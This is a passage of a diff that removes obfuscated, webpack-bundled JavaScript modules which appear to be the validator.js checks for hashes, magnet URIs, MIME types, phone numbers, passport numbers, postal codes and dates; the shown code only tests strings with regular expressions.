- Object.defineProperty(_0x440ea6, "__esModule", {
- value: true
- });
- _0x440ea6.default = function (_0x1f40f2) {
- (0, _0x5d7abe.default)(_0x1f40f2);
- return _0x162277.test(_0x1f40f2);
- };
- var _0xcc04cf;
- var _0x5d7abe = (_0xcc04cf = _0x482e3b(5571)) && _0xcc04cf.__esModule ? _0xcc04cf : {
- default: _0xcc04cf
- };
- var _0x162277 = /^[a-f0-9]{32}$/;
- _0x595d0d.exports = _0x440ea6.default;
- _0x595d0d.exports.default = _0x440ea6.default;
- },
- 2776: (_0x4a2df1, _0x48765a, _0x5522d1) => {
- "use strict";
-
- Object.defineProperty(_0x48765a, "__esModule", {
- value: true
- });
- _0x48765a.default = function (_0x3f1917) {
- (0, _0x351325.default)(_0x3f1917);
- return 0 === _0x3f1917.indexOf("magnet:?") && _0x3ca6e7.test(_0x3f1917);
- };
- var _0x5da90c;
- var _0x351325 = (_0x5da90c = _0x5522d1(5571)) && _0x5da90c.__esModule ? _0x5da90c : {
- default: _0x5da90c
- };
- var _0x3ca6e7 = /(?:^magnet:\?|[^?&]&)xt(?:\.1)?=urn:(?:(?:aich|bitprint|btih|ed2k|ed2khash|kzhash|md5|sha1|tree:tiger):[a-z0-9]{32}(?:[a-z0-9]{8})?|btmh:1220[a-z0-9]{64})(?:$|&)/i;
- _0x4a2df1.exports = _0x48765a.default;
- _0x4a2df1.exports.default = _0x48765a.default;
- },
- 4554: (_0x42d4fe, _0x5acaba, _0x242880) => {
- "use strict";
-
- Object.defineProperty(_0x5acaba, "__esModule", {
- value: true
- });
- _0x5acaba.default = function (_0x345a8e) {
- (0, _0x412427.default)(_0x345a8e);
- return _0x41f272.test(_0x345a8e) || _0x2ae988.test(_0x345a8e) || _0x298e62.test(_0x345a8e);
- };
- var _0x42d359;
- var _0x412427 = (_0x42d359 = _0x242880(5571)) && _0x42d359.__esModule ? _0x42d359 : {
- default: _0x42d359
- };
- var _0x41f272 = /^(application|audio|font|image|message|model|multipart|text|video)\/[a-zA-Z0-9\.\-\+_]{1,100}$/i;
- var _0x2ae988 = /^text\/[a-zA-Z0-9\.\-\+]{1,100};\s?charset=("[a-zA-Z0-9\.\-\+\s]{0,70}"|[a-zA-Z0-9\.\-\+]{0,70})(\s?\([a-zA-Z0-9\.\-\+\s]{1,20}\))?$/i;
- var _0x298e62 = /^multipart\/[a-zA-Z0-9\.\-\+]{1,100}(;\s?(boundary|charset)=("[a-zA-Z0-9\.\-\+\s]{0,70}"|[a-zA-Z0-9\.\-\+]{0,70})(\s?\([a-zA-Z0-9\.\-\+\s]{1,20}\))?){0,2}$/i;
- _0x42d4fe.exports = _0x5acaba.default;
- _0x42d4fe.exports.default = _0x5acaba.default;
- },
- 8355: (_0x522e0d, _0x20fb40, _0x14ec0e) => {
- "use strict";
-
- Object.defineProperty(_0x20fb40, "__esModule", {
- value: true
- });
- _0x20fb40.default = function (_0x23eba2, _0x32d4ea, _0x51913f) {
- if ((0, _0x223316.default)(_0x23eba2), _0x51913f && _0x51913f.strictMode && !_0x23eba2.startsWith("+")) {
- return false;
- }
- if (Array.isArray(_0x32d4ea)) {
- return _0x32d4ea.some(function (_0x5f151c) {
- return !(!_0x3a530e.hasOwnProperty(_0x5f151c) || !_0x3a530e[_0x5f151c].test(_0x23eba2));
- });
- }
- if (_0x32d4ea in _0x3a530e) {
- return _0x3a530e[_0x32d4ea].test(_0x23eba2);
- }
- if (!_0x32d4ea || "any" === _0x32d4ea) {
- for (var _0x4a6add in _0x3a530e) if (_0x3a530e.hasOwnProperty(_0x4a6add) && _0x3a530e[_0x4a6add].test(_0x23eba2)) {
- return true;
- }
- return false;
- }
- throw new Error("Invalid locale '".concat(_0x32d4ea, "'"));
- };
- _0x20fb40.locales = undefined;
- var _0x43d3d2;
- var _0x223316 = (_0x43d3d2 = _0x14ec0e(5571)) && _0x43d3d2.__esModule ? _0x43d3d2 : {
- default: _0x43d3d2
- };
- var _0x3a530e = {
- "am-AM": /^(\+?374|0)((10|[9|7][0-9])\d{6}$|[2-4]\d{7}$)/,
- "ar-AE": /^((\+?971)|0)?5[024568]\d{7}$/,
- "ar-BH": /^(\+?973)?(3|6)\d{7}$/,
- "ar-DZ": /^(\+?213|0)(5|6|7)\d{8}$/,
- "ar-LB": /^(\+?961)?((3|81)\d{6}|7\d{7})$/,
- "ar-EG": /^((\+?20)|0)?1[0125]\d{8}$/,
- "ar-IQ": /^(\+?964|0)?7[0-9]\d{8}$/,
- "ar-JO": /^(\+?962|0)?7[789]\d{7}$/,
- "ar-KW": /^(\+?965)([569]\d{7}|41\d{6})$/,
- "ar-LY": /^((\+?218)|0)?(9[1-6]\d{7}|[1-8]\d{7,9})$/,
- "ar-MA": /^(?:(?:\+|00)212|0)[5-7]\d{8}$/,
- "ar-OM": /^((\+|00)968)?(9[1-9])\d{6}$/,
- "ar-PS": /^(\+?970|0)5[6|9](\d{7})$/,
- "ar-SA": /^(!?(\+?966)|0)?5\d{8}$/,
- "ar-SY": /^(!?(\+?963)|0)?9\d{8}$/,
- "ar-TN": /^(\+?216)?[2459]\d{7}$/,
- "az-AZ": /^(\+994|0)(10|5[015]|7[07]|99)\d{7}$/,
- "bs-BA": /^((((\+|00)3876)|06))((([0-3]|[5-6])\d{6})|(4\d{7}))$/,
- "be-BY": /^(\+?375)?(24|25|29|33|44)\d{7}$/,
- "bg-BG": /^(\+?359|0)?8[789]\d{7}$/,
- "bn-BD": /^(\+?880|0)1[13456789][0-9]{8}$/,
- "ca-AD": /^(\+376)?[346]\d{5}$/,
- "cs-CZ": /^(\+?420)? ?[1-9][0-9]{2} ?[0-9]{3} ?[0-9]{3}$/,
- "da-DK": /^(\+?45)?\s?\d{2}\s?\d{2}\s?\d{2}\s?\d{2}$/,
- "de-DE": /^((\+49|0)1)(5[0-25-9]\d|6([23]|0\d?)|7([0-57-9]|6\d))\d{7,9}$/,
- "de-AT": /^(\+43|0)\d{1,4}\d{3,12}$/,
- "de-CH": /^(\+41|0)([1-9])\d{1,9}$/,
- "de-LU": /^(\+352)?((6\d1)\d{6})$/,
- "dv-MV": /^(\+?960)?(7[2-9]|9[1-9])\d{5}$/,
- "el-GR": /^(\+?30|0)?6(8[5-9]|9(?![26])[0-9])\d{7}$/,
- "el-CY": /^(\+?357?)?(9(9|6)\d{6})$/,
- "en-AI": /^(\+?1|0)264(?:2(35|92)|4(?:6[1-2]|76|97)|5(?:3[6-9]|8[1-4])|7(?:2(4|9)|72))\d{4}$/,
- "en-AU": /^(\+?61|0)4\d{8}$/,
- "en-AG": /^(?:\+1|1)268(?:464|7(?:1[3-9]|[28]\d|3[0246]|64|7[0-689]))\d{4}$/,
- "en-BM": /^(\+?1)?441(((3|7)\d{6}$)|(5[0-3][0-9]\d{4}$)|(59\d{5}$))/,
- "en-BS": /^(\+?1[-\s]?|0)?\(?242\)?[-\s]?\d{3}[-\s]?\d{4}$/,
- "en-GB": /^(\+?44|0)7\d{9}$/,
- "en-GG": /^(\+?44|0)1481\d{6}$/,
- "en-GH": /^(\+233|0)(20|50|24|54|27|57|26|56|23|28|55|59)\d{7}$/,
- "en-GY": /^(\+592|0)6\d{6}$/,
- "en-HK": /^(\+?852[-\s]?)?[456789]\d{3}[-\s]?\d{4}$/,
- "en-MO": /^(\+?853[-\s]?)?[6]\d{3}[-\s]?\d{4}$/,
- "en-IE": /^(\+?353|0)8[356789]\d{7}$/,
- "en-IN": /^(\+?91|0)?[6789]\d{9}$/,
- "en-JM": /^(\+?876)?\d{7}$/,
- "en-KE": /^(\+?254|0)(7|1)\d{8}$/,
- "en-SS": /^(\+?211|0)(9[1257])\d{7}$/,
- "en-KI": /^((\+686|686)?)?( )?((6|7)(2|3|8)[0-9]{6})$/,
- "en-KN": /^(?:\+1|1)869(?:46\d|48[89]|55[6-8]|66\d|76[02-7])\d{4}$/,
- "en-LS": /^(\+?266)(22|28|57|58|59|27|52)\d{6}$/,
- "en-MT": /^(\+?356|0)?(99|79|77|21|27|22|25)[0-9]{6}$/,
- "en-MU": /^(\+?230|0)?\d{8}$/,
- "en-NA": /^(\+?264|0)(6|8)\d{7}$/,
- "en-NG": /^(\+?234|0)?[789]\d{9}$/,
- "en-NZ": /^(\+?64|0)[28]\d{7,9}$/,
- "en-PG": /^(\+?675|0)?(7\d|8[18])\d{6}$/,
- "en-PK": /^((00|\+)?92|0)3[0-6]\d{8}$/,
- "en-PH": /^(09|\+639)\d{9}$/,
- "en-RW": /^(\+?250|0)?[7]\d{8}$/,
- "en-SG": /^(\+65)?[3689]\d{7}$/,
- "en-SL": /^(\+?232|0)\d{8}$/,
- "en-TZ": /^(\+?255|0)?[67]\d{8}$/,
- "en-UG": /^(\+?256|0)?[7]\d{8}$/,
- "en-US": /^((\+1|1)?( |-)?)?(\([2-9][0-9]{2}\)|[2-9][0-9]{2})( |-)?([2-9][0-9]{2}( |-)?[0-9]{4})$/,
- "en-ZA": /^(\+?27|0)\d{9}$/,
- "en-ZM": /^(\+?26)?09[567]\d{7}$/,
- "en-ZW": /^(\+263)[0-9]{9}$/,
- "en-BW": /^(\+?267)?(7[1-8]{1})\d{6}$/,
- "es-AR": /^\+?549(11|[2368]\d)\d{8}$/,
- "es-BO": /^(\+?591)?(6|7)\d{7}$/,
- "es-CO": /^(\+?57)?3(0(0|1|2|4|5)|1\d|2[0-4]|5(0|1))\d{7}$/,
- "es-CL": /^(\+?56|0)[2-9]\d{1}\d{7}$/,
- "es-CR": /^(\+506)?[2-8]\d{7}$/,
- "es-CU": /^(\+53|0053)?5\d{7}/,
- "es-DO": /^(\+?1)?8[024]9\d{7}$/,
- "es-HN": /^(\+?504)?[9|8|3|2]\d{7}$/,
- "es-EC": /^(\+?593|0)([2-7]|9[2-9])\d{7}$/,
- "es-ES": /^(\+?34)?[6|7]\d{8}$/,
- "es-PE": /^(\+?51)?9\d{8}$/,
- "es-MX": /^(\+?52)?(1|01)?\d{10,11}$/,
- "es-NI": /^(\+?505)\d{7,8}$/,
- "es-PA": /^(\+?507)\d{7,8}$/,
- "es-PY": /^(\+?595|0)9[9876]\d{7}$/,
- "es-SV": /^(\+?503)?[67]\d{7}$/,
- "es-UY": /^(\+598|0)9[1-9][\d]{6}$/,
- "es-VE": /^(\+?58)?(2|4)\d{9}$/,
- "et-EE": /^(\+?372)?\s?(5|8[1-4])\s?([0-9]\s?){6,7}$/,
- "fa-IR": /^(\+?98[\-\s]?|0)9[0-39]\d[\-\s]?\d{3}[\-\s]?\d{4}$/,
- "fi-FI": /^(\+?358|0)\s?(4[0-6]|50)\s?(\d\s?){4,8}$/,
- "fj-FJ": /^(\+?679)?\s?\d{3}\s?\d{4}$/,
- "fo-FO": /^(\+?298)?\s?\d{2}\s?\d{2}\s?\d{2}$/,
- "fr-BF": /^(\+226|0)[67]\d{7}$/,
- "fr-BJ": /^(\+229)\d{8}$/,
- "fr-CD": /^(\+?243|0)?(8|9)\d{8}$/,
- "fr-CM": /^(\+?237)6[0-9]{8}$/,
- "fr-FR": /^(\+?33|0)[67]\d{8}$/,
- "fr-GF": /^(\+?594|0|00594)[67]\d{8}$/,
- "fr-GP": /^(\+?590|0|00590)[67]\d{8}$/,
- "fr-MQ": /^(\+?596|0|00596)[67]\d{8}$/,
- "fr-PF": /^(\+?689)?8[789]\d{6}$/,
- "fr-RE": /^(\+?262|0|00262)[67]\d{8}$/,
- "he-IL": /^(\+972|0)([23489]|5[012345689]|77)[1-9]\d{6}$/,
- "hu-HU": /^(\+?36|06)(20|30|31|50|70)\d{7}$/,
- "id-ID": /^(\+?62|0)8(1[123456789]|2[1238]|3[1238]|5[12356789]|7[78]|9[56789]|8[123456789])([\s?|\d]{5,11})$/,
- "ir-IR": /^(\+98|0)?9\d{9}$/,
- "it-IT": /^(\+?39)?\s?3\d{2} ?\d{6,7}$/,
- "it-SM": /^((\+378)|(0549)|(\+390549)|(\+3780549))?6\d{5,9}$/,
- "ja-JP": /^(\+81[ \-]?(\(0\))?|0)[6789]0[ \-]?\d{4}[ \-]?\d{4}$/,
- "ka-GE": /^(\+?995)?(79\d{7}|5\d{8})$/,
- "kk-KZ": /^(\+?7|8)?7\d{9}$/,
- "kl-GL": /^(\+?299)?\s?\d{2}\s?\d{2}\s?\d{2}$/,
- "ko-KR": /^((\+?82)[ \-]?)?0?1([0|1|6|7|8|9]{1})[ \-]?\d{3,4}[ \-]?\d{4}$/,
- "ky-KG": /^(\+?7\s?\+?7|0)\s?\d{2}\s?\d{3}\s?\d{4}$/,
- "lt-LT": /^(\+370|8)\d{8}$/,
- "lv-LV": /^(\+?371)2\d{7}$/,
- "mg-MG": /^((\+?261|0)(2|3)\d)?\d{7}$/,
- "mn-MN": /^(\+|00|011)?976(77|81|88|91|94|95|96|99)\d{6}$/,
- "my-MM": /^(\+?959|09|9)(2[5-7]|3[1-2]|4[0-5]|6[6-9]|7[5-9]|9[6-9])[0-9]{7}$/,
- "ms-MY": /^(\+?60|0)1(([0145](-|\s)?\d{7,8})|([236-9](-|\s)?\d{7}))$/,
- "mz-MZ": /^(\+?258)?8[234567]\d{7}$/,
- "nb-NO": /^(\+?47)?[49]\d{7}$/,
- "ne-NP": /^(\+?977)?9[78]\d{8}$/,
- "nl-BE": /^(\+?32|0)4\d{8}$/,
- "nl-NL": /^(((\+|00)?31\(0\))|((\+|00)?31)|0)6{1}\d{8}$/,
- "nl-AW": /^(\+)?297(56|59|64|73|74|99)\d{5}$/,
- "nn-NO": /^(\+?47)?[49]\d{7}$/,
- "pl-PL": /^(\+?48)? ?[5-8]\d ?\d{3} ?\d{2} ?\d{2}$/,
- "pt-BR": /^((\+?55\ ?[1-9]{2}\ ?)|(\+?55\ ?\([1-9]{2}\)\ ?)|(0[1-9]{2}\ ?)|(\([1-9]{2}\)\ ?)|([1-9]{2}\ ?))((\d{4}\-?\d{4})|(9[1-9]{1}\d{3}\-?\d{4}))$/,
- "pt-PT": /^(\+?351)?9[1236]\d{7}$/,
- "pt-AO": /^(\+244)\d{9}$/,
- "ro-MD": /^(\+?373|0)((6(0|1|2|6|7|8|9))|(7(6|7|8|9)))\d{6}$/,
- "ro-RO": /^(\+?40|0)\s?7\d{2}(\/|\s|\.|-)?\d{3}(\s|\.|-)?\d{3}$/,
- "ru-RU": /^(\+?7|8)?9\d{9}$/,
- "si-LK": /^(?:0|94|\+94)?(7(0|1|2|4|5|6|7|8)( |-)?)\d{7}$/,
- "sl-SI": /^(\+386\s?|0)(\d{1}\s?\d{3}\s?\d{2}\s?\d{2}|\d{2}\s?\d{3}\s?\d{3})$/,
- "sk-SK": /^(\+?421)? ?[1-9][0-9]{2} ?[0-9]{3} ?[0-9]{3}$/,
- "sq-AL": /^(\+355|0)6[789]\d{6}$/,
- "sr-RS": /^(\+3816|06)[- \d]{5,9}$/,
- "sv-SE": /^(\+?46|0)[\s\-]?7[\s\-]?[02369]([\s\-]?\d){7}$/,
- "tg-TJ": /^(\+?992)?[5][5]\d{7}$/,
- "th-TH": /^(\+66|66|0)\d{9}$/,
- "tr-TR": /^(\+?90|0)?5\d{9}$/,
- "tk-TM": /^(\+993|993|8)\d{8}$/,
- "uk-UA": /^(\+?38|8)?0\d{9}$/,
- "uz-UZ": /^(\+?998)?(6[125-79]|7[1-69]|88|9\d)\d{7}$/,
- "vi-VN": /^((\+?84)|0)((3([2-9]))|(5([25689]))|(7([0|6-9]))|(8([1-9]))|(9([0-9])))([0-9]{7})$/,
- "zh-CN": /^((\+|00)86)?(1[3-9]|9[28])\d{9}$/,
- "zh-TW": /^(\+?886\-?|0)?9\d{8}$/,
- "dz-BT": /^(\+?975|0)?(17|16|77|02)\d{6}$/,
- "ar-YE": /^(((\+|00)9677|0?7)[0137]\d{7}|((\+|00)967|0)[1-7]\d{6})$/,
- "ar-EH": /^(\+?212|0)[\s\-]?(5288|5289)[\s\-]?\d{5}$/,
- "fa-AF": /^(\+93|0)?(2{1}[0-8]{1}|[3-5]{1}[0-4]{1})(\d{7})$/,
- "en-CA": _0x3a530e["en-US"]
- };
- _0x3a530e["fr-CA"] = _0x3a530e["en-CA"];
- _0x3a530e["fr-BE"] = _0x3a530e["nl-BE"];
- _0x3a530e["zh-HK"] = _0x3a530e["en-HK"];
- _0x3a530e["zh-MO"] = _0x3a530e["en-MO"];
- _0x3a530e["ga-IE"] = _0x3a530e["en-IE"];
- _0x3a530e["fr-CH"] = _0x3a530e["de-CH"];
- _0x3a530e["it-CH"] = _0x3a530e["fr-CH"];
- var _0x2dc5d3 = Object.keys(_0x3a530e);
- _0x20fb40.locales = _0x2dc5d3;
- },
- 9131: (_0x2447cc, _0x468452, _0x2118ac) => {
- "use strict";
-
- Object.defineProperty(_0x468452, "__esModule", {
- value: true
- });
- _0x468452.default = function (_0x568909) {
- (0, _0x1325f6.default)(_0x568909);
- return (0, _0x405fe4.default)(_0x568909) && 24 === _0x568909.length;
- };
- var _0x1325f6 = _0x1440e(_0x2118ac(5571));
- var _0x405fe4 = _0x1440e(_0x2118ac(7117));
- function _0x1440e(_0xd27adc) {
- return _0xd27adc && _0xd27adc.__esModule ? _0xd27adc : {
- default: _0xd27adc
- };
- }
- _0x2447cc.exports = _0x468452.default;
- _0x2447cc.exports.default = _0x468452.default;
- },
- 3590: (_0xc15871, _0x22fd2f, _0x2fd6d1) => {
- "use strict";
-
- Object.defineProperty(_0x22fd2f, "__esModule", {
- value: true
- });
- _0x22fd2f.default = function (_0x28064d) {
- (0, _0x1eb5ef.default)(_0x28064d);
- return _0x577909.test(_0x28064d);
- };
- var _0x18fa08;
- var _0x1eb5ef = (_0x18fa08 = _0x2fd6d1(5571)) && _0x18fa08.__esModule ? _0x18fa08 : {
- default: _0x18fa08
- };
- var _0x577909 = /[^\x00-\x7F]/;
- _0xc15871.exports = _0x22fd2f.default;
- _0xc15871.exports.default = _0x22fd2f.default;
- },
- 4986: (_0x2cdae6, _0x1710d0, _0x16821c) => {
- "use strict";
-
- Object.defineProperty(_0x1710d0, "__esModule", {
- value: true
- });
- _0x1710d0.default = function (_0x1cabbe, _0x230ce6) {
- (0, _0x57487e.default)(_0x1cabbe);
- return _0x230ce6 && _0x230ce6.no_symbols ? _0x4283c9.test(_0x1cabbe) : new RegExp("^[+-]?([0-9]*[".concat((_0x230ce6 || {}).locale ? _0x110e99.decimal[_0x230ce6.locale] : ".", "])?[0-9]+$")).test(_0x1cabbe);
- };
- var _0x408b7b;
- var _0x57487e = (_0x408b7b = _0x16821c(5571)) && _0x408b7b.__esModule ? _0x408b7b : {
- default: _0x408b7b
- };
- var _0x110e99 = _0x16821c(79);
- var _0x4283c9 = /^[0-9]+$/;
- _0x2cdae6.exports = _0x1710d0.default;
- _0x2cdae6.exports.default = _0x1710d0.default;
- },
- 6090: (_0x5d34b7, _0x4b7a55, _0xd35632) => {
- "use strict";
-
- Object.defineProperty(_0x4b7a55, "__esModule", {
- value: true
- });
- _0x4b7a55.default = function (_0x1ce75d) {
- (0, _0x3fffd6.default)(_0x1ce75d);
- return _0x573530.test(_0x1ce75d);
- };
- var _0x9a26cc;
- var _0x3fffd6 = (_0x9a26cc = _0xd35632(5571)) && _0x9a26cc.__esModule ? _0x9a26cc : {
- default: _0x9a26cc
- };
- var _0x573530 = /^(0o)?[0-7]+$/i;
- _0x5d34b7.exports = _0x4b7a55.default;
- _0x5d34b7.exports.default = _0x4b7a55.default;
- },
- 1513: (_0x415e36, _0x315b58, _0x22729b) => {
- "use strict";
-
- Object.defineProperty(_0x315b58, "__esModule", {
- value: true
- });
- _0x315b58.default = function (_0x3327f0, _0x551f04) {
- (0, _0x1a75f0.default)(_0x3327f0);
- var _0x7de0a0 = _0x3327f0.replace(/\s/g, "").toUpperCase();
- return _0x551f04.toUpperCase() in _0x2625d7 && _0x2625d7[_0x551f04].test(_0x7de0a0);
- };
- var _0x45f5e2;
- var _0x1a75f0 = (_0x45f5e2 = _0x22729b(5571)) && _0x45f5e2.__esModule ? _0x45f5e2 : {
- default: _0x45f5e2
- };
- var _0x2625d7 = {
- AM: /^[A-Z]{2}\d{7}$/,
- AR: /^[A-Z]{3}\d{6}$/,
- AT: /^[A-Z]\d{7}$/,
- AU: /^[A-Z]\d{7}$/,
- AZ: /^[A-Z]{2,3}\d{7,8}$/,
- BE: /^[A-Z]{2}\d{6}$/,
- BG: /^\d{9}$/,
- BR: /^[A-Z]{2}\d{6}$/,
- BY: /^[A-Z]{2}\d{7}$/,
- CA: /^[A-Z]{2}\d{6}$/,
- CH: /^[A-Z]\d{7}$/,
- CN: /^G\d{8}$|^E(?![IO])[A-Z0-9]\d{7}$/,
- CY: /^[A-Z](\d{6}|\d{8})$/,
- CZ: /^\d{8}$/,
- DE: /^[CFGHJKLMNPRTVWXYZ0-9]{9}$/,
- DK: /^\d{9}$/,
- DZ: /^\d{9}$/,
- EE: /^([A-Z]\d{7}|[A-Z]{2}\d{7})$/,
- ES: /^[A-Z0-9]{2}([A-Z0-9]?)\d{6}$/,
- FI: /^[A-Z]{2}\d{7}$/,
- FR: /^\d{2}[A-Z]{2}\d{5}$/,
- GB: /^\d{9}$/,
- GR: /^[A-Z]{2}\d{7}$/,
- HR: /^\d{9}$/,
- HU: /^[A-Z]{2}(\d{6}|\d{7})$/,
- IE: /^[A-Z0-9]{2}\d{7}$/,
- IN: /^[A-Z]{1}-?\d{7}$/,
- ID: /^[A-C]\d{7}$/,
- IR: /^[A-Z]\d{8}$/,
- IS: /^(A)\d{7}$/,
- IT: /^[A-Z0-9]{2}\d{7}$/,
- JM: /^[Aa]\d{7}$/,
- JP: /^[A-Z]{2}\d{7}$/,
- KR: /^[MS]\d{8}$/,
- KZ: /^[a-zA-Z]\d{7}$/,
- LI: /^[a-zA-Z]\d{5}$/,
- LT: /^[A-Z0-9]{8}$/,
- LU: /^[A-Z0-9]{8}$/,
- LV: /^[A-Z0-9]{2}\d{7}$/,
- LY: /^[A-Z0-9]{8}$/,
- MT: /^\d{7}$/,
- MZ: /^([A-Z]{2}\d{7})|(\d{2}[A-Z]{2}\d{5})$/,
- MY: /^[AHK]\d{8}$/,
- MX: /^\d{10,11}$/,
- NL: /^[A-Z]{2}[A-Z0-9]{6}\d$/,
- NZ: /^([Ll]([Aa]|[Dd]|[Ff]|[Hh])|[Ee]([Aa]|[Pp])|[Nn])\d{6}$/,
- PH: /^([A-Z](\d{6}|\d{7}[A-Z]))|([A-Z]{2}(\d{6}|\d{7}))$/,
- PK: /^[A-Z]{2}\d{7}$/,
- PL: /^[A-Z]{2}\d{7}$/,
- PT: /^[A-Z]\d{6}$/,
- RO: /^\d{8,9}$/,
- RU: /^\d{9}$/,
- SE: /^\d{8}$/,
- SL: /^(P)[A-Z]\d{7}$/,
- SK: /^[0-9A-Z]\d{7}$/,
- TH: /^[A-Z]{1,2}\d{6,7}$/,
- TR: /^[A-Z]\d{8}$/,
- UA: /^[A-Z]{2}\d{6}$/,
- US: /^\d{9}$/
- };
- _0x415e36.exports = _0x315b58.default;
- _0x415e36.exports.default = _0x315b58.default;
- },
- 4595: (_0x3ad8a8, _0x5e8af4, _0x5c24eb) => {
- "use strict";
-
- Object.defineProperty(_0x5e8af4, "__esModule", {
- value: true
- });
- _0x5e8af4.default = function (_0x38fc71) {
- return (0, _0x5acc05.default)(_0x38fc71, {
- min: 0,
- max: 65535
- });
- };
- var _0x59488e;
- var _0x5acc05 = (_0x59488e = _0x5c24eb(937)) && _0x59488e.__esModule ? _0x59488e : {
- default: _0x59488e
- };
- _0x3ad8a8.exports = _0x5e8af4.default;
- _0x3ad8a8.exports.default = _0x5e8af4.default;
- },
- 8140: (_0x96433a, _0xf9d95, _0x40715c) => {
- "use strict";
-
- Object.defineProperty(_0xf9d95, "__esModule", {
- value: true
- });
- _0xf9d95.default = function (_0x2175ff, _0x4fdece) {
- if ((0, _0x44f856.default)(_0x2175ff), _0x4fdece in _0x3034a5) {
- return _0x3034a5[_0x4fdece].test(_0x2175ff);
- }
- if ("any" === _0x4fdece) {
- for (var _0x2b5b35 in _0x3034a5) if (_0x3034a5.hasOwnProperty(_0x2b5b35) && _0x3034a5[_0x2b5b35].test(_0x2175ff)) {
- return true;
- }
- return false;
- }
- throw new Error("Invalid locale '".concat(_0x4fdece, "'"));
- };
- _0xf9d95.locales = undefined;
- var _0x367ac4;
- var _0x44f856 = (_0x367ac4 = _0x40715c(5571)) && _0x367ac4.__esModule ? _0x367ac4 : {
- default: _0x367ac4
- };
- var _0x2dd7fb = /^\d{3}$/;
- var _0x58a06a = /^\d{4}$/;
- var _0x59a2d0 = /^\d{5}$/;
- var _0x407f25 = /^\d{6}$/;
- var _0x3034a5 = {
- AD: /^AD\d{3}$/,
- AT: _0x58a06a,
- AU: _0x58a06a,
- AZ: /^AZ\d{4}$/,
- BA: /^([7-8]\d{4}$)/,
- BE: _0x58a06a,
- BG: _0x58a06a,
- BR: /^\d{5}-\d{3}$/,
- BY: /^2[1-4]\d{4}$/,
- CA: /^[ABCEGHJKLMNPRSTVXY]\d[ABCEGHJ-NPRSTV-Z][\s\-]?\d[ABCEGHJ-NPRSTV-Z]\d$/i,
- CH: _0x58a06a,
- CN: /^(0[1-7]|1[012356]|2[0-7]|3[0-6]|4[0-7]|5[1-7]|6[1-7]|7[1-5]|8[1345]|9[09])\d{4}$/,
- CZ: /^\d{3}\s?\d{2}$/,
- DE: _0x59a2d0,
- DK: _0x58a06a,
- DO: _0x59a2d0,
- DZ: _0x59a2d0,
- EE: _0x59a2d0,
- ES: /^(5[0-2]{1}|[0-4]{1}\d{1})\d{3}$/,
- FI: _0x59a2d0,
- FR: /^\d{2}\s?\d{3}$/,
- GB: /^(gir\s?0aa|[a-z]{1,2}\d[\da-z]?\s?(\d[a-z]{2})?)$/i,
- GR: /^\d{3}\s?\d{2}$/,
- HR: /^([1-5]\d{4}$)/,
- HT: /^HT\d{4}$/,
- HU: _0x58a06a,
- ID: _0x59a2d0,
- IE: /^(?!.*(?:o))[A-Za-z]\d[\dw]\s\w{4}$/i,
- IL: /^(\d{5}|\d{7})$/,
- IN: /^((?!10|29|35|54|55|65|66|86|87|88|89)[1-9][0-9]{5})$/,
- IR: /^(?!(\d)\1{3})[13-9]{4}[1346-9][013-9]{5}$/,
- IS: _0x2dd7fb,
- IT: _0x59a2d0,
- JP: /^\d{3}\-\d{4}$/,
- KE: _0x59a2d0,
- KR: /^(\d{5}|\d{6})$/,
- LI: /^(948[5-9]|949[0-7])$/,
- LT: /^LT\-\d{5}$/,
- LU: _0x58a06a,
- LV: /^LV\-\d{4}$/,
- LK: _0x59a2d0,
- MG: _0x2dd7fb,
- MX: _0x59a2d0,
- MT: /^[A-Za-z]{3}\s{0,1}\d{4}$/,
- MY: _0x59a2d0,
- NL: /^\d{4}\s?[a-z]{2}$/i,
- NO: _0x58a06a,
- NP: /^(10|21|22|32|33|34|44|45|56|57)\d{3}$|^(977)$/i,
- NZ: _0x58a06a,
- PL: /^\d{2}\-\d{3}$/,
- PR: /^00[679]\d{2}([ -]\d{4})?$/,
- PT: /^\d{4}\-\d{3}?$/,
- RO: _0x407f25,
- RU: _0x407f25,
- SA: _0x59a2d0,
- SE: /^[1-9]\d{2}\s?\d{2}$/,
- SG: _0x407f25,
- SI: _0x58a06a,
- SK: /^\d{3}\s?\d{2}$/,
- TH: _0x59a2d0,
- TN: _0x58a06a,
- TW: /^\d{3}(\d{2})?$/,
- UA: _0x59a2d0,
- US: /^\d{5}(-\d{4})?$/,
- ZA: _0x58a06a,
- ZM: _0x59a2d0
- };
- var _0x7a914a = Object.keys(_0x3034a5);
- _0xf9d95.locales = _0x7a914a;
- },
- 4611: (_0x135063, _0x3030bd, _0x51d2bd) => {
- "use strict";
-
- Object.defineProperty(_0x3030bd, "__esModule", {
- value: true
- });
- _0x3030bd.default = function (_0x4cf766) {
- (0, _0x55a587.default)(_0x4cf766);
- return _0x223c23.test(_0x4cf766);
- };
- var _0x147bfe;
- var _0x55a587 = (_0x147bfe = _0x51d2bd(5571)) && _0x147bfe.__esModule ? _0x147bfe : {
- default: _0x147bfe
- };
- var _0x203d4b = /([01][0-9]|2[0-3])/;
- var _0xabb398 = /[0-5][0-9]/;
- var _0x21f50b = new RegExp("[-+]".concat(_0x203d4b.source, ":").concat(_0xabb398.source));
- var _0x3cfac3 = new RegExp("([zZ]|".concat(_0x21f50b.source, ")"));
- var _0x488eef = new RegExp("".concat(_0x203d4b.source, ":").concat(_0xabb398.source, ":").concat(/([0-5][0-9]|60)/.source).concat(/(\.[0-9]+)?/.source));
- var _0x477daa = new RegExp("".concat(/[0-9]{4}/.source, "-").concat(/(0[1-9]|1[0-2])/.source, "-").concat(/([12]\d|0[1-9]|3[01])/.source));
- var _0x569847 = new RegExp("".concat(_0x488eef.source).concat(_0x3cfac3.source));
- var _0x223c23 = new RegExp("^".concat(_0x477daa.source, "[ tT]").concat(_0x569847.source, "$"));
- _0x135063.exports = _0x3030bd.default;
- _0x135063.exports.default = _0x3030bd.default;
- },
- 6454: (_0x555033, _0x496980, _0x395095) => {
- "use strict";
-
- Object.defineProperty(_0x496980, "__esModule", {
- value: true
- });
- _0x496980.default = function (_0x3d422f) {
- var _0x501bee = !(arguments.length > 1 && undefined !== arguments[1]) || arguments[1];
- (0, _0x1a5e70.default)(_0x3d422f);
- return _0x501bee ? _0x33357a.test(_0x3d422f) || _0x29c91d.test(_0x3d422f) || _0x1853a3.test(_0x3d422f) || _0x457323.test(_0x3d422f) : _0x33357a.test(_0x3d422f) || _0x29c91d.test(_0x3d422f);
- };
- var _0x4f4841;
- var _0x1a5e70 = (_0x4f4841 = _0x395095(5571)) && _0x4f4841.__esModule ? _0x4f4841 : {
- default: _0x4f4841
- };
